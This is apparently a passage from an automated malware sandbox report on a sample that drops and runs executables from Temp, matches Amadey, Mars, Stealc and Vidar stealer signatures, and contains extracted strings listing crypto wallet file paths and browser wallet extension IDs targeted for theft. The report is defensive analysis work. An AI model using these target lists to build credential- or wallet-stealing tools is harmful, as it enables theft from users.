Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCGIJDBAFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe "C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe "C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account	Jump to behavior

Source: 29c55c1284.exe, 0000000D.00000002.2246561935.00000000003A2000.00000002.00000001.01000000.0000000F.sdmp, random[1].exe0.8.dr, 29c55c1284.exe.8.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: explorti.exe, explorti.exe, 00000009.00000002.1938715457.0000000000993000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4FB341 cpuid

0_2_6C4FB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4C35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4C35A0

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 8_2_007A6590 LookupAccountNameA,

8_2_007A6590

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.explorti.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.explorti.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.explorti.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.explorti.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KECBKKEBKE.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4105906252.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1848584876.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2314930724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1898459862.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2919540853.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3519302936.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1938648063.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2959745900.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3559616622.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1890726036.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2355364532.00000000007A1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1890786715.0000000000BD1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 12.2.a16b294260.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a16b294260.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.a16b294260.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1966115921.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1836482618.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.000000000175D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ZVZFKMB9user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger 